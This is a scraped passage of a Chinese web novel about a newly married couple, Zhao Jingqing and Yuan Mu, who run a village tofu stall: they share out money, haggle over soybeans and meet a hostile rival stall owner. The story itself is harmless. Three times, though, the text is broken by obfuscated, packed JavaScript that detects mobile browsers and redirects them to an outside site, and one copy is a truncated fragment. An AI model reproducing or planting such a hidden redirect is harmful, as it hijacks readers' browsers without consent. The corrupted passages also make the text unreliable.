袁牧反手插上门栓,走到靠墙而立的柜子处,打开柜门取出个约摸半尺宽一尺长的小木箱。见景清收好小罐子,准备上床,袁牧喊住他,“景清,别急着上床,我和你说件事儿。” 赵景清回身,“啥事儿?” 两人在桌边坐下,袁牧打开小木箱,里面是几块碎银,两串铜钱,一杆戥子称,以及他们的婚书。 赵景清目光触及,不由望向袁牧。 袁牧郑重其事,“景清,昨天卖狍子的十两银子,我交给娘了。我和爹娘商量好,后边我赚的钱,一半交给他们,一半交给你。娘管家里的吃穿,给你的咱们自己花用。” “我手里头这些加起来,一共四两多,都交给你。”袁牧将小木箱推向赵景清,“你数数。” 赵景清桌下的手无意识紧扣,有些无措,“……我管钱?” “嗯,咱们小家你管钱。”袁牧肯定道,“咱家都是媳妇夫郞管钱,我用钱的地方少,要花钱再找你。你想买什么自己买,不要舍不得花。我能赚钱,你也能赚钱,咱们慢慢攒,肯定能攒下家底。” 赵景清愣愣看着他,火光中眸色莹润,他点了点头,喉咙中好似堵着东西,说话艰涩,“……好。” “昨儿就该给你了,我回屋你已经躺下,就没说。”袁牧催促道,“快数数。” 赵景清拿出戥子称,碎银拢共四两二钱,两串整的钱串子是一百文的,零散的铜板有二十八个,袁牧交给他的一共是四两四钱又三十六文。 清点完,赵景清没阖上盖子,起身走向床边,从枕头下取出袁牧给他的麻色荷包。回身坐下,赵景清倒出里面的碎银铜板,叮叮当当落入小木箱中,袁牧给他二两,昨天去镇上买东西花掉二十八文,手里还有一两九钱又七十二文。 “一共六两四钱又八文!”赵景清双眸明亮,数出五十个铜板装入麻色荷包,“给你。” 袁牧没要,“不用给我,吃穿家里有,我用不着钱。” “给你傍身。”赵景清道,他知道手里没钱的滋味,“总会有用钱的地方,你拿着。” 袁牧接过笑着接过,“我夫郞真好。” 火光摇曳,赵景清眨眨眼,轰然面红耳热。 —— 裴家。 赵景明提猪食喂猪,费力提起来倒进猪槽,累得气喘吁吁,喘了两口气,赵景明提上空的木桶摸黑走出猪圈。 冬夜寒风凌冽,猪圈到厨房的路恰在风口上,风吹得更是猛烈,他提猪食喂猪累出汗来,风一吹寒意钻入后背,侵入身体,赵景明打了个哆嗦,快步跑回厨房,舀水洗漱。 灶膛后,坐着瘦小的小树儿,他低头拢着肩,缩成一团,尽量减少存在感,但并没有用。 赵景明一边洗脚一边骂,“吃白食的玩意儿,这不能干那不能干,还要我来伺候……” 骂骂咧咧洗完脚,赵景明回屋,屋子里昏暗,裴西安已经躺上床。 赵景明站在黑暗中,说不出是什么滋味,他摸黑上床,“西安,睡了吗?” “没有。”裴西安翻了个身,背对赵景明。 赵景明躺下,问:“今儿咋这么早,不温书了?” 裴西安道:“没灯油。” 赵景明:“明儿让老二老三去买。” “他两?钱给到他们手里,说是丢进水里也不为过,哪还有灯油。”裴西安叹道,显然十分清楚自己两个弟弟的德行。 不能让他两去,死老太婆整日躺床上叫唤,小树儿哪会买东西,西安又要温书……赵景明嘴巴张了张,“明儿我去买。” 死老太婆手紧得很,要从她手里掏出一个铜板,比登天还难,嘴里说着西安读书最重要,也没见她出钱出力。 还好他手里有钱,在家当哥儿时,有赵景清卖豆腐挣钱,爹也能挣钱,娘不时会给他零用,他攒了一些。出嫁前买东西哄骗赵景清和还做嫁衣舍了本,他现在手里零零总总有一两七钱。 赵景明琢磨,说什么也不能耽误西安温书,他还依仗着他中举当大官,跟着享福咧,为西安读书花钱是应该的。 裴西安翻身面朝赵景明,“你手里有钱吗,我去问娘要。” 赵景明回答:“有一点,不多。你别操心了,安心读书就好,我明儿去镇上买。” “好。景明……嫁给我,你受苦了。”裴西安顿了下,握住赵景明短短时日便粗糙许多的手,笑着承诺道,“我一定让你过上好日子。” “嗯,我相信你。”赵景明含笑道,心里美滋滋的。苦也就苦五年,五年后就该他享福了,赵景清穿身新棉布衣裳算什么,以后他可是穿金戴银。 只是袁牧的腿……他腿没折,回来得也比前世早,赵景明弄不懂咋回事,命运天定,老天爷眷顾他,袁牧腿折是迟早的事儿,赵景明越琢磨越发这般认为。 黑夜沉沉,屋顶积雪缓缓融化,来不及滴落,又在房檐挂上长长的冰凌。 免得掉下来砸到人,袁牧手里拿着一根长竹竿,叮叮咚咚一阵敲,碎了一地冰渣子。 赵景清从厨房端着碗筷出来,朝堂屋走,“袁牧,吃饭了。” “马上来。”袁牧把冰渣子扫一块倒院里坝子边,扫帚一放,立即进了堂屋。 早饭吃得简单,红薯稀饭就炒腌咸菜。 林翠娥煮了两个鸡蛋,一个给赵景清,一个给袁星。 农闲事少,赵景清喂鸡捡蛋铲鸡屎,忙活完赵景清倒出黄豆,开始捡豆子,把坏的干瘪的剔出来。 天气冷,要泡的豆子多,泡发的时间长,赵景清想早些泡上,十六斤豆子分开泡四盆,赵景清擦干手,又开始忙活缝布帕子,昨儿已经裁剪出来了,今天缝好就成。 忙活起来时间过得快,转眼半下午过去,袁牧担心刘老匠做不完豆腐框,早早就去蹲守。 待到日落,袁牧背篓背手上拿,带着十个豆腐框回来了,还多带了一样东西—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779764|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆腐架。 用绳子穿上挂房梁上,四角捆上布帕子,沥豆浆便不需要两个人帮忙,更省时省力。 因着凌晨要早起做豆腐,今儿晚饭用得比平日里早半个时辰,吃完饭,林翠娥就催两人回屋睡觉。 夜色苍茫,寒风猎猎,不过丑时过半,袁家东厢挨着的两间房燃起昏暗的烛火,不多时袁牧和赵景清前后脚出门。 隔壁,林翠娥和袁老二也推门而出。 赵景清微怔,林翠娥手里端着烛台,能看见她在笑,“咱俩给你打下手,帮帮忙,可不能嫌弃我们笨手笨脚。” “不会,高兴还来不及,怎么会嫌弃。”赵景清道,寒风冷冽,却不及心中暖意融融。 合力磨出两盆豆子,赵景清和袁牧进屋做第一锅豆腐,林翠娥和袁老二在外面磨剩下的豆子,忙得热火朝天。 两锅豆腐全部出锅,倒入豆腐模中压制,赵景清直起腰,他看了眼屋外天色,仍旧黑沉沉的,赵景清估摸着,有爹娘和袁牧帮忙,比他预想的时间少小半个时辰。 起早贪黑做豆腐卖多年,还是第一次有人帮忙。 时辰尚早,袁牧去刘大爷家牵驴车还没回来,赵景清想了想,用留的半壶豆浆煮了一锅豆浆稀饭。 锅内豆浆和着米粒翻腾,豆香味浓郁醇厚。 林翠娥闻着味踏入厨房,“煮了啥恁香?” “豆浆稀饭,快好了。”赵景清拿勺子在锅里搅拌,“等会你和爹吃完,再去睡个回笼觉。” 林翠娥笑着应道:“好。” 很快,豆浆稀饭煮好了,赵景清盛出袁牧的凉着,自个端着一碗热腾腾的慢慢吃。 没多会儿,袁牧拉驴车回来,把装有所需东西的背篓,和压好的豆腐搬上板车,回来几口喝完一碗豆浆稀饭,又盛了一碗。 天未亮,赵景清和袁牧便出发去镇上。 袁牧赶车,赵景清手持火把,火光明灭照亮前路。待走到半程,天光渐明,隐约可见路况,赵景清熄灭火把,袁牧扬鞭赶车,驴子哒哒哒往前跑。 离山阳镇愈近,路上的人越多,赵景清看见他们背篓里或是码着菜,或是堆着蛋,亦有提着鸡鸭牲畜的,和他们一样是赶早进镇里卖东西。 很快抵达山阳镇,袁牧和赵景清几乎是第一波入城,又赶至东市,在赵景清的指路下去到他从前卖豆腐的位置。 位置要抢,他们来得早,位置空置,袁牧将板车上东西卸下,去寄存驴车。 赵景清则摞豆腐框,一摞老豆腐,一摞嫩豆腐。揭开上边的压板和布帕子,又去掉边框,赵景清拿刀将豆腐划成块,这活他干了五年,手又快又稳,横五竖四,利落得将一框豆腐划成二十块。按块卖方便,顾客要按斤两切,他也给切。完事儿他又将布帕子搭回去,免得落上灰尘。 他做完这些,袁牧寄存驴车回来了,菜市人多起来,多是卖菜的摊贩。 又过约摸一刻,挎着菜篮子的妇人和夫郎涌入菜市。 赵景清看着,手不由紧扣,好些日子没来卖豆腐,不知今儿生意咋样。 16. 016 豆腐摊位置好,进菜市不远处就是他们的摊位。 “诶!你看是不是那个卖豆腐的小哥儿?” “好像是,去瞅瞅。” 很快,两个中年夫郎在豆腐摊前站定,其中一个富态些的笑道:“还真是你,我们远远瞧着就觉得是你,咋恁多天没来卖豆腐?” 赵景清眼熟二人,是他摊上的老主顾,经常结伴来买,赵景清笑着道:“我成亲忙了几日,这不来摆摊了,还是来老样子吗?” 说话的常买两块嫩豆腐,另外那人则是一块老豆腐。 “对。”两人应声,先前没说话的人看见旁边的袁牧,看他好几眼,“那是你丈夫?” 赵景清拿大片叶子包豆腐,又用一根稻草捆住,手上动作不停,“对,是我丈夫。” 袁牧嘴角微扬,又忍住了,绷着脸给赵景清递叶子稻草。 “个子高大,瞧着就可靠。”两个夫郎你一嘴我一嘴夸赞几句,又说祝福话。 赵景清打包好豆腐,给两人放进菜篮子里,“谢谢阿叔。” 两个夫郎掏出铜板数给赵景清,嫩豆腐两文一块,老豆腐三文一块。 赵景清向袁牧摊开手掌,掌心是几个铜板,嘴角露出清浅的笑,与招呼顾客时热情的笑不一样,更出自他内心,“七文。” 袁牧也笑了笑,“开张了,是个好兆头。” 一如他所言,开张后客似云来。 老顾客认出赵景清,上前买豆腐,你一块我两块,赵景清和两人打包不及,豆腐摊前围了一圈客人。或各自攀谈,或问赵景清为啥好些天不来卖豆腐,只要有人问,赵景清不耐其烦全部回应,摊子前热热闹闹。 旁人见这围了那么多人,凑过来瞧热闹,见不过是个卖豆腐的摊子,却都在等着买豆腐,不由惊奇。 有人挤进半个身子问:“这家豆腐好吃不?” “好吃惨了,”不用赵景清回答,老主顾已经开口,“嫩豆腐拿回家过个水,蘸豆花吃香得很,老豆腐煎两面黄,煮汤炒肉都香。同样的做法,别家做出来没他家香。” “真的假的?莫骗我。” “骗你我又赚不着钱,骗你做啥?我都在他家买三年豆腐了。” 赵景清搭嘴道:“婶子,您买一块尝尝看。嫩豆腐两文,老豆腐三文。” “……行,先给我来一块嫩豆腐,好吃再来。” “好嘞,马上给您包。” …… 好一阵忙活,送走一波接一波的老客新客,豆腐卖出去八成,老豆腐剩下十二块,嫩豆腐剩下一框多几块。 赵景清抬头看天色,太阳挂在东边,升得不高,才约摸过去半个时辰,豆腐就快卖完了! 最初的担忧一扫而空,赵景清捏着装有铜板的布袋子,沉甸甸的,“袁牧,今儿生意真好!” 他高兴,袁牧也高兴,“一多半是老顾客,认准你了。” 赵景清直笑,眼角眉梢的笑甚是晃人眼。 又陆陆续续来了些客人,剩下的豆腐也很快卖完。 有听说赵景清卖豆腐的妇人、夫郎急忙赶来,瞧见赵景清和个高大男人在收拾摊子,急道:“这就卖完了?一块都没了?好些日子没吃,就馋你这口。” “婶子,今儿卖完了,明儿我多准备些,你要多少我给您留着。”赵景清道。 这般回应了几人,赵景清和袁牧收拾好豆腐框,背上背篓离开菜市。 赵景清步子轻快,双目明亮,从前赚钱是给赵家赚,从今以后是给自己赚,赵景清直后悔没多做些豆腐,不然今儿还能多卖些。 驴车在上次寄存的地方,找到驴车,将豆腐框放车板上,叮嘱看管的人多加注意,赵景清和袁牧赶着去买黄豆。 赵景清做了五年豆腐,有固定进货的铺子,名叫林氏五谷。 铺面不大,铺子里种类也不多,看店的一个掌柜一个店小二,瞧着比不上别的米面行,却是赵景清一家家试过后,黄豆品质最优,价格最实惠的一家。 小二哥认识他,见他进来笑着问:“还是二十斤黄豆吗?” 李长菊手紧,想让她掏钱无异于要她命,又担心赵景清贪墨钱,每次卡着二十斤黄豆的钱给,赵景清道:“这回多要些,要三百斤。” 这是他和袁牧在路上商量出的量,还有十三天除夕,菜市开到腊月二十八,他们还能卖十天。今儿十六斤豆子的一个时辰就卖完了,明儿定然要多准备些,先试试二十五斤的,若卖得好,肯定要再加量,三百斤没准年前就能卖完。就算卖不完也没事儿,豆子经得住放,年后再用也是一样。 而且量大能讲价,从前他买二十斤,是照卖价六文一斤买的,这次三百斤,赵景清问:“能便宜些吗?” 小二哥搓搓手,三百斤黄豆对于他们这小铺子是不小的单子,他道:“我能给你少五文一斗。” 三百斤是二十四斗,共便宜一百二十文,没到赵景清预估的价位,赵景清想了想道:“再少五文一斗成吗,算下来一斤少八厘。” 小二哥笑意僵在脸上,“这个价我没办法给你,我帮你问问林掌柜。” “好。”赵景清应下。 小二哥便去撩开和仓库相通的帘子进去。 赵景清忐忑,不知道林掌柜会不会答应,不待他多想,林掌柜撩开帘子出来。 林掌柜也不拐弯抹角,直接道:“三百斤你要这个价,我无法给你,起码得五百斤起。” 五百斤……赵景清看向袁牧,寻求他的意见,五百斤超乎他们预料。 袁牧俯身在他耳边小声道:“不用顾虑我,你的决定我都支持。” 赵景清心定了,同林掌柜道:“五百斤也成,但得再便宜点,算四文七一斤。” 他买了五年豆子,换了不少铺子,对散买黄豆的价位门清,四文七算是踩着底了。 “那不成,卖你四文七,我还赚啥钱,店铺送你得了。”林掌柜直摆手,抱怨完又改了口风,“最多给你四文九一斤,不能再少了。” “四文七,叔你放心,我肯定不止在你这只买五百斤。”赵景清袖子里的手紧扣,语气却是镇定,“我在镇上做豆腐卖,五百斤豆子不过半个来月的消耗,要不是家里没处放,我还想买更多呢。” 掌柜的没言语,赵景清继续道:“我是您家老主顾,从前一次买的不多,但经年累月加起来有三十多石。” 小二哥探身在林掌柜耳边嘀咕,林掌柜双目微眯,终是松了口,“成,四文七也成,以后多光顾我铺子。” 赵景清应下,“好。” 五百斤算下来二两三钱又五十文,赵景清先付一两定金,和林掌柜说好迟些来拉货,而后与袁牧离开林氏五谷的铺子。 赵景清暗暗松了口气,掌心都掐出月牙印来,揉了揉手掌,赵景清心中暗暗高兴这个价都让他讲下来了,本压得低,能赚得就多。 赵景清不由望向袁牧,不防撞进一双含笑的眼眸中。 目光相触,袁牧眼神飘忽,转瞬定下来,轻咳一声打趣道:“早知你讲价如此厉害,刘老匠那该让你和他说。” 似在夸他,又不似夸他,赵景清认真道:“刘老匠那我不成,我从前没打过东西,不知道价。豆子我常买,知道的多些。” “尺有所短,寸有所长,善其一艺,便可称奇。”袁牧失笑,故作文雅掉书袋。论起来,裴西安故去的父亲还是他启蒙夫子,村里学堂同他读了几年书,没读出啥名堂,不成想在这派上用场。 前半句赵景清知道,常听人说,只是这后半句……赵景清迟疑了会儿问:“啥意思?” 找夸呢,袁牧仔细与他解释。 两人并肩,缓缓行于长街。 明儿要多做些豆腐,豆腐框不够,现打来不及,赵景清和袁牧找到木货铺买现成的,不成想要四十文一个,比加急让刘老匠打还贵七文钱。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779765|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但豆腐框急着用,不买不行,赵景清比着二十五斤豆子的量,又买了五个豆腐框,掏钱时心痛得紧,多花三十五文!多花的钱都能在刘老匠那打一个了! 走出木货铺,赵景清道:“咱们回村就去找刘老匠,从他那多打几个备用。” “好。”袁牧和景清一个想法,不必要的钱花一次就够,万不能再而三的花。 又回到寄存驴车的地方,赵景清结清看管费,坐上驴车,袁牧牵着驴车前往林氏五谷。 五百斤豆子装了十麻袋,整整齐齐摞车板上。驴子拉车明显吃力,走得慢悠悠,但到底比两条腿快,约摸大半个时辰,赶在午时前回到村子,停进袁家院子里。 林翠娥在厨房忙活,听见声音出来看,又惊又喜,“回来恁早,都卖完了?” 又看板车上满满当当的,又问:“咋恁多东西?” 袁牧一手一袋将豆子提进堂屋,赵景清回答道:“娘,都卖完了,一个时辰不到就卖完了。” “恁快!”林翠娥手握锅铲,眼睛都瞪大了。 赵景清点头,要去搬豆子,被从堂屋出来的袁牧拦住,不让他干这重活。 几句话的功夫,厨房里逸出一股焦糊味,林翠娥脸色顿变,“坏了!” 中午的饭桌上,飘着若有似无的糊味。 袁星烧火没注意火候,已经被林翠娥骂过一顿,只敢默默扒饭当鹌鹑。 林翠娥看堂屋角落堆着的十个麻袋,饭都吃得慢了,“景清,恁多豆子,要多久才能用完?” 赵景清道:“快的话半个月,慢的话不出二十天。” 林翠娥暗自松了口气,“那还是快。” 晨起得早,吃完午饭犯食困,人也疲乏得紧。 赵景清舀出二十五斤豆子泡上,同林翠娥说一声,回屋睡午觉,他寻思着睡一个时辰,再起来裁布缝布帕子,新买的豆腐框需要布帕子垫着。 有几日没这般累过,赵景清很快睡去。 袁牧去还驴车,和刘老头商量好,年前的驴车他租借了,不要借给别人。又去刘老匠那儿定做五个豆腐框,以防万一。 待回家进屋,袁牧放轻步子,抬着门关上,几乎没发出声响。 门窗关着,屋内灰蒙蒙的,袁牧脱衣上床,掖被角时发现景清嘴角微弯,在睡梦中盈着笑。 袁牧看了好一会儿,闭眼睡觉。 睡醒又是好一阵忙活,赵景清裁布缝帕子,林翠娥一同帮忙。袁牧则带着袁星去摘树叶,大片的树叶才好包豆腐。 晚饭用得早,赵景清和袁牧早早回屋。 中午睡了一觉,晚上还不困,赵景清点燃煤油灯数铜板,盘算今儿赚多少。 十六斤豆子,八斤做嫩豆腐,八斤做老豆腐。嫩豆腐出二十四斤,装了六个豆腐框,划一百二十块,两文一块,是二百四十文。老豆腐出十六斤,装四个豆腐框,划八十块,三文一块,也是二百四十文。拢共四百八十文。 赵景清反复数了两遍,数量对上了,露出笑模样,起身取来线穿铜板。 袁牧一起穿,不由吃惊,“竟然有恁多。” 赵景清打了个哈切,眼角挤出泪来,他随手抹掉低头穿铜板,“两文三文的不起眼,但积少成多,买豆子打豆腐框的钱,四五天就能回本,余下的是纯赚。” 袁牧点点头,叹道:“就是起早贪黑,太苦太累。” 赵景清不甚在意,手上动作不停,线上铜板碰撞叮当响,“赚钱哪有不累的?” “有道理,不怕苦不怕累,就怕又苦又累还没钱赚。”袁牧笑道,颠了颠穿好的钱串子,放回木箱子里。 赵景清穿好最后一串,只有八十个铜板,他打了个松散的结,放入木箱子里。 赵景清合上盖子,准备放好上床睡觉,拿起木箱子起身时,想到什么动作微顿,复又坐下。 “袁牧,赚的钱交家用,交多少合适?”赵景清问。 17. 017 闻言,袁牧神情微怔,一时没反应过来。 赵景清继续说:“你赚的交一半,我也交一半,咋样?” “不用,”袁牧稍加思量后道,“你不用交,我交就成。” 他赚的不少,交一半给爹娘,家里吃喝够了,两老还能省下些存着,给星儿攒嫁妆。景清赚的,自个拿着就成。 赵景清摇摇头,不应许他这话,“爹娘早起帮忙磨豆子,干得是最累人的活计,哪能不给。” “知道你心好,惦记爹娘。现在还没回本,先别说这个了。”袁牧不想景清给,他自觉养家是自己的责任,爹娘帮忙干活,他多赚些,分给爹娘的也多些,这就成了。 袁牧转移话题,“都困了,快些睡觉吧,明儿还要早起。” 赵景清抿了抿嘴角,不再言语,将装钱的木箱子收好,熄灯爬上床。 掖好被角,赵景清后知后觉氛围不对,袁牧总顺着他护着他,这是第一次两人没说到一起去。 “袁牧,你睡了吗?”赵景清轻轻唤了声。 袁牧回应,“嗯?” “你会写字吗?” “……会。”袁牧翻身朝向景清,声音略含糊,“就是这字吧,它不太好看。咋了?” 夜色中,赵景清嘴角上扬,没叫袁牧发现他在偷笑,他道:“你帮我记账吧。” 他不太识字,更不会写,账目少他脑子里记得住,多了会乱。 袁牧答应,“好。” “你脚冰,伸我这儿暖暖。”袁牧朝中间靠拢,小腿夹住景清的脚。 “……嗯。” 一夜无话,丑时过半,袁家亮起微弱的烛光。 今儿还多了个人,袁星起了个大早来帮忙,头发凌乱毛躁,打着哈切,“景清哥哥,我来烧火!” 赵景清笑着应声,“好。” 二十五斤豆子,比昨儿多九斤,一家五口人忙活一早上,煮了四锅,待全部弄好倒入豆腐框压制,已是卯时过半。比昨天晚了约摸小半个时辰。 袁牧牵来驴车,豆腐框搬上板车,早饭都来不及吃,便出发往镇里赶。幸而时间不算太迟,紧赶慢赶,抢到昨儿的位置。 袁牧去寄存驴车,赵景清摞卸下的豆腐框,今儿多了五框豆腐,一共十五框,赵景清刚摞好,还没来得及切,顾客接二连三到来。 袁牧还没回来,赵景清一个人忙得团团转,他卖惯了豆腐,即使人多也不慌乱,井井有条的。 “婶子,您昨儿预定的三块嫩豆腐,您拿好,六文。” “阿叔,您的两块嫩两块老,十文。” …… 袁牧回来,手里还拿着两个油纸袋,里头装着包子馒头,瞧见摊位围满人,袁牧将它揣衣裳里,挤进去一起忙活开来。 前边卖得快,一如昨日,没个喘息的间隙,一口气卖出八成豆腐,来买的人才渐少,夫夫二人才得以歇口气。 袁牧拿出揣衣裳里的油纸袋,递给景清,笑道:“还是温热的,我守着你快吃。” 赵景清捧着油纸袋,一口口吃着包子,放得久了,包子皮不复新出笼的宣软蓬松,浸润了汤汁,依然好吃。 拧开水袋喝了口水,赵景清边吃边观察来来往往的人。 有的人菜篮子里菜多,不是鱼就是肉。有的人这看看那瞅瞅,四处比价,菜篮子里半晌没添一样菜。摊贩吆喝不停,使劲浑身解数招揽客人。有摊贩爽快抹去零头,亦有为了几厘钱争执不下的。送货的驴车骡车满满当当驶进菜市,出来时板车上孤零零躺几根麻绳。 触目所及的一方天地,是菜市百态。 赵景清视线转动,往右边看,咀嚼的动作倏地一顿,目光定格在对角稍远处的摊子上。 那摊位同是豆腐摊,摊主是个干瘦的男人,沉郁的视线穿过熙攘人群,直直看过来。 猝不及防对上赵景清的目光,那摊主慌乱一瞬,转而狠狠瞪过来,嘴巴张了张,远了听不见,赵景清猜测是在骂人。 但又在看见袁牧时,不甘地别开眼。 赵景清捧着包子,抬眼看向身前的人,身影高大,肩背宽阔健硕,站在摊子后低头拿树叶包豆腐,咧着笑收钱招呼客人再来。 赵景清几口吃完包子,起身站在袁牧身侧,趁没客人来,小声对袁牧说:“对面豆腐摊的在盯着咱们。” 袁牧眉头微拧,扫向右侧对角稍远处的豆腐摊,安抚道:“我盯着他,量他不敢来捣乱。” “嗯!”赵景清点点头,心落在肚子里,袁牧是他见过最强壮最高大的人,立着和堵墙似的,脑子有问题才上赶着触他霉头。 赵景清的担忧一扫而空,眉眼舒展开,“我吃完了,你快去吃。” “好。”袁牧搁后边坐下,手里拿着油纸袋,一口半个包子,视线若有似无的飘向对面的豆腐摊。 赵景清清点剩下的豆腐,嫩豆腐剩下两框多点,老豆腐也有一框,他清了清嗓子,拔高声音叫卖,“卖豆腐嘞!好吃不贵!嫩豆腐两文一块,老豆腐三文一块!” 他声音清亮,在嘈杂的人声中亦格外吸引人,摊位前不时驻足一两人,几乎都带走一两块豆腐,很少有空手离开的。 约摸半个时辰,剩下的豆腐全部卖完,赵景清算了算时间,拢共约摸两个时辰,还不到菜市散市的时间。 “今儿卖得也快,”赵景清收拾着豆腐框,面色略显疲惫,嘴角却挂着笑,眼睛弯弯的,“明儿多做两斤,卖到散市应该能卖完。” 再多两斤豆子,也是做四锅出,不多花时间,能做。 “行,刘老匠那豆腐框今儿能打好。”袁牧双膝屈下,起身抱起摞高的十个豆腐框,“在这儿等我。” “好。”赵景清继续收拾其他的,待袁牧放好豆腐框回来,他已经全部收拾妥当,一人搬一些,摊位上东西便清空了。 东西放回车板上,两人又去买胆巴,他们豆腐做得多,胆巴用得快,从大伯家匀的已经用完。 胆巴价格不贵,二十文一斤,按他们做豆腐的量,一斤能用三四天,赵景清买了五斤,花费一百文。 没有其他要买的,赵景清结清寄存驴车的钱,驾车离开镇子。 风迎面吹在脸上,凉飕飕的,从衣襟往脖子里钻,赵景清缩着脖子,嘴角却是一直盈着浅笑。 驴车车板空置,驴子跑得快,不过小半个时辰,便抵达乐明村,卡着吃午饭的点回到家中。 林翠娥正从厨房往堂屋端菜,瞧见他们回来,顿了瞬笑道:“今儿也卖恁快?饭给你们留着呢,回来了我给端出来。” 说着风风火火去到堂屋放下手里的碗碟,又往厨房走。 赵景清去放胆巴,大声回应,“今儿生意好!” 驴子租借到腊月二十八,刘大爷大手一挥,少收几个铜板,让他们自己伺候驴子吃喝拉撒。袁牧解下车板,把驴子栓后面空猪圈里,洗手穿过厨房回前院,刚好吃饭。 吃完饭,赵景清泡豆子,多舀出两斤来,泡了二十七斤。袁牧则去刘老匠那儿取豆腐框,他取回来,赵景清豆子也泡好了。 如今早上早起做豆腐,下午至少得睡一个时辰,才能缓得过劲来。 午歇起来后又是一阵忙碌,忙完已是申时过半。下午过半,放寻常这个时辰尚早,但是要早睡早起做豆腐,这个时辰已经开始张罗晚饭了。 林翠娥去做饭,赵景清起身要一起去帮忙,袁牧拦下他,唤袁星去。 三人不约而同看向袁牧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779766|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁牧道:“不是说要记账吗?我准备好纸笔了。” 林翠娥失笑,拉上袁星往厨房去,留下赵景清在原地。 赵景清:“那先记账。” 堂屋门打开最是亮堂,袁牧取来纸笔搁桌上,他生疏地捣鼓一阵,墨浓了淡了,好一会儿才弄好。袁牧不甚自在轻咳一声,“要咋记,你说我写。” 赵景清思路清晰,“先记成本。黄豆五百斤,二两三钱又五十文。豆腐框二十个,六钱又九十五文。胆巴五斤,一钱。租驴车十一天,五钱。共三两六钱又四十五文。” “记好了吗?”赵景清胳膊支在桌上,探着半个身子,看袁牧写字。他看不出字好坏,只觉袁牧会写字,很是厉害。 袁牧写下最后一笔,看纸面上软趴趴没笔锋的字,不忍直视。抬眸见赵景清望着他双眸明亮,好似他干了件大事儿,有大本事一般,袁牧不自然道:“记好了,再记啥?” 赵景清道:“再记收入。腊月十七,四钱又八十文。腊月十八,七钱又二十文。” “好了。”袁牧停笔抬眼。 “先就记这些。”赵景清盈着笑,盯着纸上墨迹看了许久,只零星认得三五个字。 袁牧收起笔墨,暗暗松了口气,许久不提笔,字都快不会写了。 林翠娥从厨房探出头来,“记完没,快收起来,饭做好吃饭了!” “记好了!”赵景清应声,去帮忙端菜。 用完晚饭,洗漱完躺上床,不过酉时过半,天擦黑,透着朦胧的灰。 累了一整天,躺上床不过片刻,赵景清便已睡着。一夜无话,丑时过半,一家子便早起做豆腐。 今儿又多两斤豆子,除去磨的时间长些,其他工序都没耽误事儿,倒入豆腐框和昨儿的时辰相差无几。 套上驴车,豆腐框搬上板车,赵景清和袁牧便要出发。 林翠娥追出来,手里提着个布袋子,“给你们煮的鸡蛋,路上先垫吧一口。” 听景清说,他们昨儿辰时末才吃上东西,干累活一早上,又饿两时辰肚子,身体哪里抗得住。前头烧水洗脸的功夫,她丢了六个蛋在锅里,煮好了一直放灶台上温着,现在还是热的。 赵景清接过,“谢谢娘。” 路上,袁牧驾车,赵景清将火把绑在车旁,空出手剥蛋,剥好递到袁牧嘴边,袁牧两口一个。 赵景清又剥一个自己吃,轮着各吃三个。 赶到东市,抢到摊位,便脚打后脑勺的忙碌起来。一如赵景清昨日所想,多两斤豆子,比昨儿多出一框半的豆腐,卖到快要散市将将卖完。 已至午时,清晨三个蛋早消化完,肚子咕噜噜直叫,买两馒头垫肚子,袁牧驾驴车回家。 赵景清道:“年前咱比着二十七斤豆子卖。” 十三斤豆子做嫩豆腐,十二斤豆子做老豆腐,卖完是八钱二十文。 袁牧扬鞭赶车,“好!” 连着两天,赵景清和袁牧赶到东市,都能占到老位置,老主顾记着位置,常常直奔他们摊位买。 做豆腐前后磨合了五天,各自闷头干活,速度快了不少,今儿豆腐倒入豆腐框压制,比前两天快了一刻多。 路上,袁牧感叹道:“现在咱家做豆腐是越发熟练了。” 赵景清:“你们都好。” 袁牧:“你好,你豆腐摊老位置也好。” 语毕,两个人忍不住乐呵,做豆腐卖豆腐是苦累了些,但赚得不少,干着有盼头。 今儿出门早,抵达东市也早,夫夫两人直奔老位置,不成想位置上已经占了东西,有人背对着他们在忙活。 那人听见驴车动静转过身来,赫然是斜对面豆腐摊的摊主。 摊位让他占了去! 18. 018 怪不得前面几天半点动静没有,原来在这儿等着! 袁牧面色顿变,眉头拧紧,丢下缰绳跳下驴车,就要与他好生掰扯,他自个好好的摊位不要,来占他们的作甚?! 他生得高大,脸色沉下来,骇人得紧。 袁牧大步逼近,“你干啥?” 那摊主见状吓得不轻,强撑着叫嚣:“这摊位无主,可没写你们的名儿,谁抢到就是谁的!” 赵景清跳下驴车,拉住袁牧劝道:“别动手,别与他计较。” 对方行事不地道,话却说得没错,无主的摊位谁抢到就是谁的,赵景清拉袁牧走开,再次劝慰,“别动手,动起手来反倒是咱们的错。” 